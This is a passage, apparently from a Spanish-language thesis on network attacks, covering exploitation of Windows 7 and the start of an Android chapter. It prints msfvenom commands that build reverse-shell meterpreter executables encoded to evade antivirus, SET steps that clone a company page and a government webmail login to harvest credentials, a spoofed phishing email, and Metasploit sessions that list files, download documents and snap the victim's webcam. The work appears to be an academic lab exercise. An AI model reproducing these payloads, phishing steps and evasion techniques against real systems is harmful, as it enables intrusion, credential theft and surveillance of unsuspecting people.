grafico se emplea una herramienta para cracking de claves llamado Johnny que
a su vez utiliza el Framework de John The Ripper como se observo en la figura
27.

User v Password Hash Formats GECOS
1 & Administrador **NULL PA e aad3b435b51404ee.. |LM NT,NT-old 500:31d6cfe0d16ae9...
2 @ Asistente de ayu... bc8960a73fc055a5. LM, NT.NT-old 1000:817b3c62028b...
3 @& Invitado **N A a. aad3b435b51404ee... LM,NT.NT-old .501 3l1d6cfe0dl6aen..
4 @& SUPPORT_3889.. **NULL PASS™** aad3b435b51404ee.. LM,NT.NT-old 1002:623161c2418d..
5 B Tesis 1234 b757bf5c0d87772f... |LM.NT.NT-old 1004:7ce21f17cDaee...
6 B tuto - aad3b435b51404ee... | LM, NT ,NT-old 1003:31d6cfeOdl6ae...

Figura 34. Contrasenas descublertas para los usuarios del equipo victima

29



4. CAPITULO IV: EXPLOTACION DE WINDOWS 7

4.1 Introduccion

En la actualidad, los SO’s Windows 7 son muy utilizados, haciendo que sean
vulnerables a ataques y que una persona pueda obtener informacion o tomar
control del equipo a través de una red. De la misma manera, existe la
probabilidad de que los usuarios no estén protegidos adecuadamente por un

antivirus, lo que incrementa la posibilidad de que un ataque sea exitoso.

En este capitulo se va a analizar y efectivizar un ataque por medio de ingenieria
social, que es el método mas peligroso y utilizado por hackers que engafan a
las victimas para que realicen acciones que permitan al atacante llegar a un

objetivo en especifico.

4.2 Objetivos
e Realizar un ataque mediante ingenieria social, contra un usuario que se

encuentra conectado a la red wifi libre.

e Crear un malware que permita al atacante conectarse al equipo cuando
éste haya sido abierto.

e Analizar los malware creados para medir la eficacia ante los antivirus mas
comunes y comerciales.

e Enviar el malware creado al cliente, creando un correo electronico falso.

e Obtener informacion del cliente por medio del malware iniciado y a través
de la clonacion de una pagina web.

e Realizar la captura de paquetes para obtener informacion de la red.

4.3 Alcance
e El ataque de ingenieria social se realiza enviando un correo electronico

con supuesto dominio de la empresa donde trabaja el usuario hacia el e-

mail del cliente tutxxxxxx@gmail.com, el mismo que no sera revelado por

temas de confidencialidad.

e Se elabora el malware y se analiza la efectividad del mismo por medio del
sitio web oficial de VirusTotal

e Se simula el convencimiento del cliente para realizar la ejecucion de un

archivo infectado.
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e Acceder a un enlace web e ingresar los datos personales en un formulario
de ingreso a una sesion.

e Ejecutado el malware en el cliente se accede al equipo de la victima y se
roba informacion.

e Ejecutado la URL con el formulario falso, se obtiene los datos ingresados
por la victima. Cabe aclarar que no se mostrara las paginas web originales
o clonadas de las empresas por motivos de seguridad y confidencialidad.

e Se realiza captura de paquetes o sniffing como MIM para analizar la

informacion obtenida en el trafico de red, como usuario y contrasefia.

4.4 Explotacién utilizando Ingenieria Social

Es necesario que la victima se encuentre conectado a la red wifi libre creada por

el atacante; dicha victima tiene el correo electréonico tutxxxxxx@gmail.com.

Posteriormente, se disefia un correo electronico convincente en la pagina web
de Emkei para que el cliente ingrese sus datos en un formulario web o instale

una aplicacion supuestamente verdadera.

En ambos casos, en el Framework de Metasploit del atacante existe un servicio
en ejecucion llamado Listener, que se encarga de recibir la informacion que el
cliente ingresa en la pagina web clonada y, ademas, otro servicio que espera la

ejecucion del malware de un cliente remoto.

4.4.1 Creacion del Malware

Existe la posibilidad de crear un malware que pueda ser invisible para ciertos
antivirus existentes en el mercado, para ello existen varios métodos de
codificacion del mismo, permitiendo asi evadir las distintas seguridades que
posea el usuario. Se utiliza el sitio web oficial de VirusTotal que emplea los
Antivirus existentes y actualizados en el mercado de manera on-line, para el

analisis de los malware creados y conocer la calidad y eficiencia del mismo.
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Cabe aclarar que el proceso del ataque consiste en el envio del malware y la
ejecucion del mismo en el cliente, donde se crea una conexion entre el servidor
y el cliente, permitiendo al atacante tener acceso sobre el equipo infectado.

El malware enviado, debe estar comprimido previamente, previniendo asi que
otros sistemas de antivirus, propios de los servidores de correo, rechacen el

envio y recepcion del mismo.

4.4.1.1 Malware con MSFVenom

MSFVenom es un script que utiliza el Framework del Metasploit para generar
codigos en diferentes lenguajes de programacion como C, Python, Ruby entre
otros. Ademas, posee técnicas de codificacion utilizadas para evasiéon de

antivirus.

Se realiza la prueba de concepto para analizar el efecto del malware en el cliente
utilizando técnicas de creacion de malware para mejorar la calidad del mismo,
en este proyecto se utiliza el método de codificacion llamado shikata_ga_nai,
término japonés que quiere decir “No hay mas remedio” y permite realizar un

bypass de antivirus y evadir ciertos firewalls y puntos de control [11].

root@kali:/home/kali/Escritoriof msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.11
B LPUORT=4844 -2 XBO/sShikata_ga_nal -1 20 -t exe > instaladorxsb.exe

[=1 NO prtatiorm was selected, choosing MsfT ::Mooule :: Platform::Windows from the payload

[=] No arch selected, selecting arch: x86 from the payload

Found 1 compatible encoders
Attempting to encode payload with 2 terations o @
size . onFo}

b
x86/shikata_ga_nai succeeded with
4 th

h
h

x8b6/shikata_ga_nal succe wlt
x86/shikata_ga_nail suc 0 Wit
x86/shikata_ga_nai succe rd wit
x86/shikata_ga_nal succeeded with
x86/shikata_ga_nai succeeded with siz
x86/shikata_ga_nail succeeded with s

Literation=21)
(iteration=3)
6 (iteration=4)
3 (iteration=5)

erat
x86/shikata_ga_nai succeeded with 57 (iteration=7)
x86/shikata_ga_nai succeeded with size 584 (iteration=8)
x86/shikata_ga_nai succeeded with size 611 (iteration=9)

x86/shikata_ga_nal succeeded with s1z ion=1
x86/shikata_ga_nai succeeded with s
/shikata_ga_nai succeeded with s
/shikata_ga_nai succeeded with s
x86/shikata_ga_nai succeeded with siz
x86/shikata_ga_nai 2d with s
x86/shikata_ga_nai ed with size

x86/shikata_ga_nai succeeded with size 827
x86/shikata_ga_nal succeeded with size B854 )
x86/shikata_ga nai succeeded with size 881 (iteration=19)

s gsen with final size 881

T TreTile: 73802 bytes I
Figura 35. Desarrollo de virus con arquitectura x86 de encriptacion
shikata_ga_nai*

1I¢ 0
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root@kali:/home/kali/Escritorioff msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.
[1.118 LPORT=4444 -e xBb6/shikala_ga_nal -1 20 -1 exe > Instaladorxeh.exe
[=] No platform was selected, choosing Msf ::Module:: Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
ttempting to encode payload with 20 iterations of xB86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 537 (iteration=0)
x86/shikata_ga_nai succeeded with size 564 (iteration=1)
x86/shikata_ga_nal succeeded with size 591 (iteration=2)
x86/shikata_ga_nai succeeded with size 618 (iteration=3)
xB6/shikata_ga_nai succeeded with size 645 (iteration=a)
x86/shikata_ga_nai succeeded with size 672 (iteration=5)
xB6/shikata_ga_nai succeeded with size 699 (iteration=6)
x86/shikata_ga_nai succeeded with size 726 (iteration=7)
x86/shikata_ga_nal succeeded with size 753 (iteration=8)
x86/shikata_ga_nai succeeded with size 780 (iteration=9)
x86/shikata_ga_nai succeeded with size 807 (iteration=10)
x86/shikata_ga_nai succeeded with size 834 (iteration=11)
x86/shikata_ga_nai succeeded with size 861 (iteration=12)
x86/shikata_ga_nai succeeded with size 888 (iteration=13)
x86/shikata_ga_nai succeeded with size 915 (iteration=14)
x86/shikata_ga_nai succeeded with size 942 (iteration=15)
x86/shikata_ga_nai succeeded with size 969 (iteration=16)
x86/shikata_ga_nai succeeded with size 996 (iteration=17)
x86/shikata_ga_nai succeeded with size 1023 (iteration=18)
x86/shikata_ga_nai succeeded with size 1052 (iteration=19)
3 5L b hosen with final size 1052
Zayload size: 1052 bytes
Fina EXE {5

- 7680 bytes I
Figura 36. Desarrollo de virus con arquitectura x64 de encriptacion

shikata_ga_nai*

* El malware creado funciona de la misma manera en las dos arquitecturas. Ademas, es
necesario comprimir los mismos para enviar el archivo infectado, ayudando a evadir asi los

posibles firewalls y antivirus en linea.

Figura 37. Malwares creados y comprimidos

Creado y comprimido los malwares, se ponen a prueba en la base de datos
general de VirusTotal para conocer la eficiencia de los mismos y posteriormente

ser enviados a la victima.

> ] VIRUSTOTAL

FILE URL

EEE%T——
By submitting oain below, you are agreeing fo our Terms of Sanvice and Privacy Policy. ar

security community. Please do not submit any personal information; VirusTolal Is not s
more

| Choose file

(a) Pagina principal de VirusTotal
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= > VIRUSTOTAL e = 31 VIRUSTOTAL

SUMMARY DETECTION DETALS RELATIONS COMMUNITY SUMMARY DETECTION DETAILS RELATIONS COMMUNITY

(b) Andlisis de malware x86 (c) Andlisis de malware x64
Figura 38: Analisis del malware creado en VirusTotal

4.5 Ataque de Ingenieria Social / Explotacion de Malware y Robo de Datos

Este tipo de ataques es el mas comun y peligroso, puesto que es utilizado en la
mayoria de situaciones en las que se quiere aprovechar las vulnerabilidades,
basandose en la manipulacion de la persona para lograr que realice acciones

que faciliten el ataque.

Una vez creada la red y a la cual estan conectadas las victimas, se tienen listos

los malware previamente configurados que le seran enviados.

4.5.1 Clonacién del Formulario de Ingreso de Datos

Se disefia o clona el formulario web mediante el Framework de SET [12], el cual
sera utilizado para llenar los campos con los datos de usuario y contrasefia de la

empresa en la que supuestamente trabaja el mismo.

Se inicia por consola de terminal y se selecciona la opcién 1, para realizar el

ataque por ingenieria social
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Select from the menu:

rootdkalicZ# setoolkit ? |
ew set.CONTig.py Tile generated on: 2020-05-20 13:28:20.351634 1) Social-Engineering Attacks
| 2) Penetration Testing (Fast-Track)

erifying configuration update ...

pdate verified, config timestamp is: 2020-05-20 13:28:20.351634 3) Third Party Modules
ET is using the new config, no need to restart 4) Update the Social-Engineer Toolkit
opyright 2019, The Social-Engineer Toolkit (SET) by TrustedSec, LLC 5) Update SET configuration
1L rights reserved. NG | ©) Help, Credits, and About
(a) Inicio de SET por consola (b) Menu principal de SET

Figura 39. Framework de SET iniciado por consola

Iniciado el Framework de SET, se selecciona la opcion 2 para ataques de
ingenieria social por medio de paginas web o links que permitan la obtencion de

informacion

Select from the menu:

1) Spear-Phishing Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) Third Party Modules

99) Return back to the main menu. -
Figura 40. Parametro para ataques WEB

Se selecciona la opcién 3 para la obtencién de credenciales de la victima, usuario
y contrasefna

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method
n Harv A k Meth

4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack web Method

7) HTA Attack Method

99) Return to Main Menu NG

Figura 41. Parametro para obtencion de credenciales

Se selecciona la opcidn 2 para clonar una pagina web que contenga un inicio de

sesidn o ingreso de datos de usuarios y contrasefias.
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The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates

2) Site Cloner

3) Custom Import

99) Return to Webattack Menu

Figura 42. Parametro para clonar pagina web

Se ingresa el parametro del atacante, para que permita recibir los datos

ingresados por el usuario; por lo general es la propia direccion IP del atacante.

E P2
redential harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report

~—— * IMPORTANT = READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT » —

IThe way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
lcould fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important :

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, mot your NAT address. Additionally, if you don't know
lbasic networking concepts, and you have a private IP address, you will
Ineed to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private 1P
laddress, so if you don't specify an external IP address if you are using
Ithis from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

M > IP address for the POST back in Harvester/Tabnabbing [192.168.1.118]:192.168.1.1
Figura 43. Direccion IP del atacante
Se ingresa la direccion URL de la pagina web a clonar, que sera utilizada

posteriormente para el ingreso de usuario y contrasefia a un inicio de sesion en
la empresa.

BB :IBEREER> Enter the url to clone:http://wa. uiswsawnw.cOm.ec/ofertaslaborales.php

(a) Pagina web clonada y servicio activo

Forma parte de nuesno e%rpo Forina parte de nues(ro a ulpO
ey

—e00e —0006
(b) Pagina web original (c) Pagina web clonada

Figura 44. Ingreso a sesion de usuario en empresa
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De la misma manera, con el objetivo de conocer el usuario y contrasena para el
ingreso a una cuenta de correo electronico, se clona el formulario web de la

pagina original.

1 BERRRRN > Enter the url to clone:https:// __..° gob.ec/owa/auth/log
. l‘:i)l7“ﬂ'!lh eCurrent=15url=httipsklax2fx2f _.'... -.gob.ecx2fowax2f

[#] c‘lon:lu thl website: https://__"" *—__.gob.ec/owa/auth/logon.aspx?repla
L L
[-1 Thh mlll take a little bit...

(a) Ingreso a correo electrénico clonado y servicio activo

« e @ O & <= BCioufauthlogonaspilreplaceCurent=1BUi=hipSKIaNZB2E - monet (&) > G @ © 4 1521681118

Gutlook Web App

(b) Pagina web original (c) Pagina web clonada
Figura 45. Ingreso a sesion de correo electronico

4.5.2 Diseio del correo electronico falso

Se crea un correo con dominio falso @empresaX.com.ar para convencer al
cliente de instalar una aplicacion supuestamente libre de virus y de completar un

formulario de registro de datos con informacion personal.

Mediante el sitio web de Emkei es posible crear un correo electronico que pueda
suplantar una identidad, logrando asi mejorar el ataque y convencer al usuario a
ingresar a una URL que contiene el malware a ser descargado de la nube y otra
URL para ingresar los datos de usuario y contrasefia para el robo de informacién
sensible.

El correo electrénico falso es enviado por el supuesto Directorio General a través

de la cuenta falsa directorio.general@empresaX.com.ar y como asunto

Aplicacion para prevencion de Ransomware
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Aplicaciones zip

H installx

Hl‘ﬁ.mll.

emkei.cz

Kali Tools =+« Kali Docs

Subject: Aplcacion para prevencion de Ransomware

Attachment: E
Browss No file selecte
Ac Setting
bl yyrad text/plain © cexvremi B8 Eanor
Text: c - £ s
- B F | E E 3 =
= = . E P

D& NUSSIE CONSMIET RO

Ante os casos dewciados gue han exshdo ulTamenE
altededor del mundo. se ks anvia una apbcacsdn gue debe Ser
MERlAGa CURMMD AMES DEFA DTEVEnsT Wl AMEnira del SeCuesTo
de miormacon FMporane

Link de descarga del programa

s hmega nefile/" - -~ C=
= ZohwO Y B TE SuavUna Y iowla6u S oxFear)

user mpaetsd. por favor neciar su sPwGn en &
empresaral

8 1 118

(b) Diseno de correo electrénico a enviar
Figura 46. Correo electronico a enviar con URL'’s para descarga de malware e
ingreso de datos privados

Enviado al correo electrénico de la victima, se tiene que esperar a que el mismo,

considerandolo como genuino, abra el correo.

© @ netpsi/mal google.com/malu/0/#nba/Ficgut R Lo
Q > @
¢« BOT = 0¢ BB raerw > @
&
o) frow
Directorio General <directorio.general@empresax.com.ar>
pli que debe talad: to antes p: arami Y
Directorio General <directorio.general@empresax.com.ar>
De nue
i directorio.general@empresax.com.ar
Ante lo: e ' @gmail.com
s prevent 22 may. 2020 16:33
Aplicacion para pi de
Saludos Cordiale Link de @ Cifrado estandar (TLS) Mds informacion
2 https://i Importante segun el criterio de Google.
(a) Correo electronico recibido (b) Detalles del correo electrénico

Figura 47. Correo electronico falso recibido satisfactoriamente
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Una vez que el usuario se da por convencido de realizar las acciones que se

solicita, ingresa a la URL de descarga del malware y en el inicio del formulario

clonado vistos en las figuras 44 y 45.

© & 2% hitpsy//meganz/file/3g)A1ShC#-0lEA

Aplicaciones.zip

Transferir con la App de escritorio  Leer

importar en (@)

4 Descargar

Figura 48. Archivo con el malware comprimido

4.5.3 Ingreso de Datos en el Formulario Web clonado

Es necesario iniciar la herramienta de sniffing o captura de paquetes llamado

Wireshark puesto que ayuda a observar directamente los datos robados que no

pueden ser observados en la consola de SET.

root@kali: /home/kali# wireshark
Q5tandardPaths: XDG_RUNTIME_DIR not set, d

(a) Inicio de Wireshark

"ethD =

File Edit View Go Capture Analyze Stabistics Telephony Wireless Tools Help
AN @ EDRE QeEs2EFI_ =61
Wior
No. Timi aurce Destinatiol ~ Protocol Lengtt

51 48(4 0104 \QI‘AER 1.118 104.16. 133 125 TLSvi.2 fﬂ Apn]t au Da a

ﬁ 1.948588000 102.168.1.118 229 'VLSyl
i TE1DARSRAG7E 107 158 1,118 e 54 m T

5 2.632733027  192.168.1.118 TCP 54 50766

i HW' 1168.1.118° TP o

263 64, 182.166.1.118

297 63 192,168.1.118

192 168.1.118

295 63
o 192.168.1.118
323 63 192.168.1.118

192.168.1.118

)(sl o interface ethd, 1d @
_de:Bci6e (c8:d7:19:deBe:be

{e8:00.27: 01 60
o 192 168.1.118, Dst M,:u.133_z
col, Src Port: 50786, Dst Port: a4,

Layer Secu 1y

cf d7 19 de G Gc 02 09 27 4f 6O De 08 60 45 A 1 0 - F

60 4 £ b4 40 B0 40 06 qannﬁntvacnm n@n vh

usabczmnnn 65 85 58 5a 82 dd 50 18 P
r3

(b) Interfaz graflca de ereshark

Figura 49. Wireshark iniciado

Una vez ingresado los datos en el formulario clonado, se inicia el proceso de

captura del paquete propio del Framework de SET; y, posteriormente verificar

que la victima ha ingresado el usuario y contrasena, sin embargo, no se muestra

la informacién en dicha consola.
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22/May/2020 12:35:21

"GET [/ HTTP/1.1" 200 -

192 153 1 138 - - [22/May/2020 12:36:42] "GET / HTTR/1.1" 200 -

Figura 50. Victima ha ingresado datos en el formulario clonado

Al realizar el sniffing utilizando la aplicacion para captura de paquetes Wireshark,

se puede observar que los usuarios y contrasefas son visibles.

| [ http.request. method == POST

Time Source
30996 105.000301127 192.168.1.118
3311 107.959058204 1062. 103 : & 118

<[~} ..] 4
Destination ~ Protocol Lengtt Info
172.217.2.67 ocse 437 Request
172.217.2.67 ocse

25915 1565 2147152

%l‘-‘l!.l-nf

434? 129. 0‘903?9345 192 158 1.118

6455 138.337580228 102.168.1.118

15764 539.589420693 192.168.1.118
4

Request Method: POST

192.16.56.8
192.16.58.8 ocse 435 Request
192.16.58.8 0CsP 435 Request

Request URI: /compers/empleosMew/Default.asp

Request Version: HTTP/1.1
Host: 198.12.48,106:58080\r\n

User-Agent: Mozilla/5.8 (X11; Linux 1686; rv:68.0) Gecko/20100101 Firefox/68.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8\r\n

Accept -Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n

Referer: http://190.12.48.106:50080/conpers/empleosiew/Default .asp\rin

-
0
=

(2

22N

“ .

GIR283
S2588%
agsess
458528
FB25588
“sageRd

0268
0z7e
6280
(280 74 6f 26 63 6d 64 43 6F
A2a0 49 6e 67 72 65 73 61 72

Figura 51. Numer

BEYIFARE
FTE8BaIn&RE

rEeERsaER
® gzsgeassbs

d

(@]

TREPSIERES

65 3b 20 41  yCookie= value; A
43 42 54 53 SPSESSID NIDCCBTS
45 48 4d 44  (QDT=00PB EQODEMMD
Bd Ba 55 70 DAOMHIMN GIND -Up
72 65 2d 52 grade-In secure-R
6d fa H uests: 1

30 31

74 75 74 69 AECl ave=tutl
75 61 72 3d TolicmdCo ntinuar=

Tngresar

identidad y contrasefia de sesion Web
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M | hitp.request. method == POST [X] -] 4

Destination Protocol Lengtt info

172.217.2.67 0cse 437 Request
172.217.2.67 ocsp 437 Request
172.217.2.67 ocse 438 Request
192.16.58.8 ocsp 435 Request
192.16.58.8 ocse 435 Request
192 16,58 & e S —feqrest

applicat1on/ x-wWew-rors-urlencoges)

Request Method: POST
Request URI: Jauth.owa
Request Version: HTTP/1.1
Host: 192.168.1.118\r\n
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:76.9) Gecko/20180181 Firefox/76.8\r\n
Accept: text/ntml,application/xhtml+xml, application/xml;q=0.9, image/webp,*/*;q=08.8\r\n
Accept -Language: es-ES,es;q=0.8,en-US;q=0.5,en;g=08.3\r\n
Accept-Encoding: gzip, deflate\r\n
Content-Type: application/x-www-form-urlencoded\r\n

5200 T1 7565 73 74 73 3a 20 31 Od 6a 6d 8a o4 Requests : 1 d
65 73 74 69 Ge 61 74 69 6f Ge 3d 68 74 74 78 73 estinati on=https
25 33 41 25 32 46 25 32 46 6d 61 69 G6c 2e 69 Ge XIAMIFNZ Fmail.in
65 63 2e 67 67 62 2¢ 65 63 25 32 46 6F 77 61 25 ec.gob.e CR2FOwak
32 46 26 66 6c 61 67 73 3d 30 26 66 6Ff 72 63 65 2Fiflags =B&force
B2bf 64 6f 77 Ge 6c 65 76 65 6c 3d 30 26 [CNFNENE downleve 1-GAFYIE
f2ch *.?ﬂ 3d 30 26 75 73 65 72 6e 61 6d 65 3d 74 |[E-04us ername=t
4 of 63 61 64 6d 65 26 70 61 73 73 77 6f 72 _utocadme
64 30 74 75 74 69 74 6F 26 69 73 55 74 66 38 3d d=tutito &isUtfe=
31 1

Figura 52. Usuario y contrasefia para correo electronico
4.5.4 Explotacion de Malware

Es necesario mantener el servicio de escucha o listener iniciado para que una
vez ejecutado el malware, se pueda realizar la conexion entre el atacante y la
victima. Para ello es necesario abrir la consola del Framework de Metasploit e

iniciar el servicio a la espera de la ejecucion del malware.

» use exploit/multi/handler

exploit () - -loit -
Exploit running as background job @.
Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.1.118:4444

msis exploit! N > =¢s:ions -1

Active sessions

No active sessions. [
Figura 53. Servicio del Escucha iniciado sin malware iniciado

En el momento que el usuario descarga el archivo y lo ejecuta en su equipo, se

inicia la comunicacion entre la victima y el atacante.
Como se presenta a continuacién, al tener un Antivirus no deja opcion a

descomprimir el malware, y viceversa, al no existir dicha seguridad permite

continuar la descomprension del malware
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TE—
e

Aplicaciones

V Avast Free Antivirus

You are protecied

@ x

& avast

v

Threat secured

We've moved installx64.exe to your Virus Chest because it was infected with

erity

File path

Win64:Evo-gen [Susp].

UPGRADE YOUR PROTECTION

Hide details ~
Win64:Evo-gen [Susp]
e

CiUsers\tuio\AppData\Local\Temp\Rar$ DRa4140 683 Minsta

Ix64.exe
Modo de prueha
Windows 7
Compilacion 7601
= .90 [
oL
e )

(a) Antivirus Activado (b) Deteccidn del malware al descomprimir
Figura 54. Windows 7 con Antivirus

: CAWindows\explorerexe
Personalizar...

File Shield

Moved to Virus Chest |

el

Aplicaciones instalbb4

Q. Component stop
Avast Free Antivirus

Are you sure you want to stop All shields? *  You are unprotected

L

Parsctsizars Modo de prueba
Windows 7
Compilacion 7601

(Selsct Cancal unl ES P »: i 9:27 AM

(a) Desactivaci n del Antivirus (b) Malware desmprimidb
Figura 55. Windows 7 sin Antivirus

Iniciado el malware en el dispositivo de la victima, se abre un medio de

comunicacion que permite al atacante el acceso remoto al equipo a atacar sin
ser detectado por el usuario.
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Sending stage (180291 byvtes) to 107 168 1 130

Ieterprete@:{;ﬁd (192.168.1.118:4444 — 192.168.1.130:50606 >

) at 2020-05-25 09:32:74 =

exploit( NN > scssions -1

ctive sessions

Id Name Type Information Connection

1 meterpreter x86/windows<_tuto-PC\tuto @ TUTO-PC_>192.168.1.118:4444 — 192.168.1.13

0:50606 (192.168.1.130)

exploit( G

Starting interaction with 1..

f

Figura 56. Inicio de explotacion del equipo de la victima

Alingresar remotamente al equipo de la victima, el atacante puede realizar varias
acciones disponibles a través de los comandos de Meterpreter explicados en la
figura 25.

cd
meterpreter k ls
Listing: C:\
Mode Size Type Last modified Name
(40777 / rwx rwx rwx ] dir 2020-04-02 16:12:37 -0500 $AV_ASW
40777/ rwXrwx rwx L] dir 2009-@7-13 22:18:56 -0500 $Recycle.Bin
@555/ r-xr-xr-x 4096 dir 2020-04-27 09:00:05 -8500 J60SANDBOX
@777/ rux rexrax [} dir 2020-04-02 11:13:43 -0500 Archivos de prog|
rama
48777/ rexrwxrwx @ dir 2009-07-14 00:08:56 -0500 Documents and Se
ttings
[4@777 / rwx rwx rwx 0 dir  2020-94-02 12:22:33 -0500 Intel
40555/ r-xr-xr-x [} dir 2020-04-24 12:36:58 -0500 MsOCache
4@ 777/ rwx rwx rax ] dir 2009-07-13 22:20:08 -0500 PerflLogs
40555/ r-xr-xr-x 8192 dir 2009-07-13 22:20:08 -0500 Program Files
48555/ r-xr-xr-x 12288 dir 2009-87-13 22:20:08 -0500 Program Files (x
86)
40777/ rwx rwxcrwx 8192 dir 2009-07-13 22:20:08 -08500 ProgramData
6@ 777 / rwix runx rwix L dir 2020-04-02 11:13:44 -0500 Recovery
40777/ rwx ruxrax wose dir 2020-04-02 12:14:01 -2500 SWSetup
l4@777 / rex rex rwx 8192 dir 2020-04-02 12:22:44 -0500 System Volume In
formation
140777/ rx rwx rwx ] dir 2020-04-02 13:52:48 -0500 gmlD
40555/ r-xr-xr-x 4096 dir 2009-07-13 22:20:08 -0500
40777/ rwx rwxrwx 20480 dir 2009-07-13 22:20:08 -8500 VITOOWS)

Figura 57. Listado de carpetas y archivos en el directorio raiz /

m > cd User

m > 1s

Listing~L:\Users

sesssssmssssmssss

Mode Size Type Last modified Name

40777/ruxrwxrwx @ dir 2009-07-14 00:08:56 -0500 All Users
40555/r-xr-xr-x 8192 dir 2009-07-13 22:20:08 -0500 Default
40777/ rwxrwxrwx @ dir 2009-07-14 00:08:56 -0500 Default User
40555/r-xr-xr-x 4096 dir 2009-07-13 22:20:08 -0500 Public

100666/ rw-rw-rw- 174 fil 2009-07-13 23:54:24 -0500 .ini
40777/ rexrwxrwx 12288 dir 2020-04-02 11:14:53 -050¢ tuto

Figura 58. Usuarios
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|peterpreter > 1s
Listing: C:\Users\tuto\Desktop

Mode Size Type Last modified Name

100666,/ rw-rw-rw- 20336 fil 2020-04-26 10:32:19 -0500 20111SFIECO&0641_1.docx
100666/ rw-ru-rw- 45753 Fil 2020-05-25 99:07:07 -0500 Aplicaciones.zip

48777/ rwxrwxrwx e dir 2020-05-01 18:27:36 -05@8 Canvas X 2020 Build 20.9.440
100666/ rw-reu-ru- 295420 fil 2020-04-05 10:20:00 -8500 Christian Cadme.pdf

100666/ rw-rw-rw- 3876736 fil 2020-04-13 12:06:42 -0580 Cv Christian Cadme 94-2020.pdf
100666/ rw-rw-rw- 173967 fil  2020-05-08 11:20:57 -0500 Matias.pdf

109666/ rw-rw-rw- 3559232 fil  2020-84-08 10:19:11 -@50@ REFERENCIAS Y CERTIFLCADOS.pdf
100666/ rw-re-rw- 3296421 fil  2020-04-08 10:20:41 -0508 REFERENMCIAS ¥ CERTIFICADOS.rar

100666/ rw-rew-rw- 1087 fil  2020-04-05 10:07:57 -0500 UltralSO.lnk

100666/ rw-rw-rw- 27481479 fil 2020-04-06 11:02:56 -0500 a.docx

100666/ rw-rw-rw- 589 fil 2020-85-14 19:20:19 -850@ carta de presentacion.txt
108666/ rw-rw-ru- 27441284 fil 2020-04-08 10:18:87 -0508 cooperco.dockx

100666/ rw-ru-ru- 282 fil  2020-84-02 11:15:15 -8508 desktop.ini

48777/ rwx rwit rwi 4B96 dir 2020-04-02 12:14:24 -0588 drivers

108777/ ruirwxrwx 7680 fil 2020-85-25 09:27:38 -0500 1installxbd.exe

L@T 77/ rwx rwx rwx 498 dir 2020-04-25 15:52:36 -050@ resp ush

100666/ rw-rw-rw- 162 fil  2020-04-10 10:26:00 -8500 -$a.docx |GG
Figura 59. Archivos y carpetas en Escritorio

peterpreter @

Computer TUTO-PC

oS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture . xb4&

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

eterpreter : xBE/gindows ‘

ownload Matias,pdf -

meterpreter >¢g
Pownloading: M3 D Matias.pdf
Downloaded 169,89 hlB of 169.89 KiB (100.0%): Matias.pdf — Matias.pdf
download : Matias.pdf — Matias.pdf |

meterpreter > Jj
Figura 60. Informacion del equipo de la victima y descarga de archivo

eterpretercy_webcam_snap >

Starting ...

Got frame

Stopped

cam shot saved to: /hcme/kalx!VyAOmboOE)

eterpreter > Running Firefox as root in a regular user's session is not supported. ($XAUTHORI
TY is /home/kali/.Xauthority which is owned by kali.)

Figura 61. Captura de pantalla desde la webcam

r A =
DISPOSITIVOS

UBICACIONES
- ol

Figura 62. Archivos gados el equipo victima
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5. CAPITULO 5: EXPLOTACION DE ANDROID

5.1 Introduccion

Los dispositivos con SO Android son actualmente los mas utilizados por los
usuarios que desconocen las vulnerabilidades existentes al conectarse a una red
wifi de libre acceso, donde se puede realizar el robo de datos personales, control

del dispositivo, pérdida de la privacidad, negacion de servicios entre otros.

Al ser un dispositivo de facil movilidad, se lo lleva consigo a todo lado
ayudandonos a conectarnos al servicio de internet cuando lo necesitamos y en
cualquier lugar. Al acceder a la red con servicio gratuito, existe el riesgo de ser
victima de un ataque y objeto de robo de informacion o toma del control del

equipo.

En este capitulo se demuestra la posibilidad de atacar a un dispositivo movil con
sistema Android conectado a la red wifi libre creada por el atacante mediante un

malware enviado a través de ingenieria social.

5.2 Objetivos
e Ultilizar ingenieria social para convencer a la victima de instalar un
malware.
e Permitir al atacante tener el control del equipo remotamente mediante la
aplicacion infectada.
e Conocer los permisos a los que tiene acceso el atacante, una vez iniciado

el malware en el dispositivo.

5.3 Alcance
e Elaborar un archivo infectado con malware con extension apk para ser

instalado e iniciado en un SO Android virtualizado.

e Enviar el malware por medio de la aplicacion de mensajeria instantanea
de WhatsAppWEB ubicada en el equipo virtual del atacante, simulando
enviar un juego para instalar.

e Recepcion del malware por parte de la victima mediante la aplicacion de
mensajeria instantanea de WhatsAppWEB en el equipo virtual con SO
Android e instalara el juego recibido, simulando hacer caso al atacante.
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e Evidenciar la toma del control del cliente remotamente, después de un
ataque de ingenieria social y posterior inicio del malware en el cliente.

e Extraer o visualizar informacién al iniciar el malware en el dispositivo.

5.4 Explotacion de Android

Se abre una consola de terminal y se crea el malware para plataformas Android
